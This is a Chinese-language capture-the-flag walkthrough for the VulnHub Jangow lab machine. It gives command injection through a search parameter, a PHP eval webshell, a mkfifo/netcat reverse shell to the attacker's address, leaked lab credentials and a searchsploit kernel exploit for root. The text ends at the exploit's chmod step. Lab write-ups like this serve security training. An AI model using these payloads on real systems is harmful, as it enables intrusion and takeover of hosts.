Jangow
1.环境准备
- 靶场地址:https://www.vulnhub.com/entry/jangow-101,754/
- 下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
- 攻击机:kali(192.168.80.180)
- 靶机:JANGOW(192.168.80.128)
- 目标:提升为root权限获取root目录下的flag
2.信息收集
-
确认目标IP
arp-scan -l
-
扫描开放端口
nmap -Pn -sV -p- -A 192.168.80.128
确认开放了21、80端口
3.寻找攻击点
-
主页面
-
访问site页面
-
尝试点击不同页面,发现一个
/site/busque.php?buscar=
可以执行命令/site/busque.php?buscar=whoami
4.写入shell
-
查看网站根目录
/site/busque.php?buscar=pwd
-
向网站根目录写入webshell
/site/busque.php?buscar=echo '<?php @eval($_POST['glc']); ?>' >> glc.php
-
查看是否写入成功
/site/busque.php?buscar=ls -la
-
连接shell
5.网站信息收集
-
发现
.backup
文件,里面有数据库用户名和密码$username = "jangow01"; $password = "abygurl69";
-
发现
wordpress/config.php
文件,里面也有用户名和密码$username = "desafio02"; $password = "abygurl69";
6.尝试ftp登录
-
使用之前翻到的两个账号密码分别尝试,结果.backup 文件中的可以登陆,翻看下没有什么有用的信息
7.获取交互式shell
-
尝试常规的反弹shell,发现都不可以,可能是nc 不支持 -e 参数,这个时候可以使用 mkfifo 命令创建命名管道反弹shell;使用蚁剑在/var/www/html/site/下面新建shell.php文件,内容在下面
<?php system("mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.80.180 443 >/tmp/f");?>
-
攻击机开启443端口监听
nc -lvvp 443
-
用浏览器去访问shell.php文件,成功反弹shell
-
查看是否存在python环境
whereis python
-
存在python环境,切换交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
8.提权
-
查看内核版本
uname -a
-
查看发行版本
lsb_release -a
-
内核版本为4.4.0-31,发行版本为Ubuntu16.04
-
利用searchsploit工具搜索一下
searchsploit ubuntu 4.4.0-31
searchsploit ubuntu 16.04
-
我使用的是45010.c,将文件下载到本地
searchsploit -m 45010.c
-
在本地进行编译
gcc 45010.c -o exp
-
上传exp文件到靶机,增加执行权限,然后执行
chmod +x exp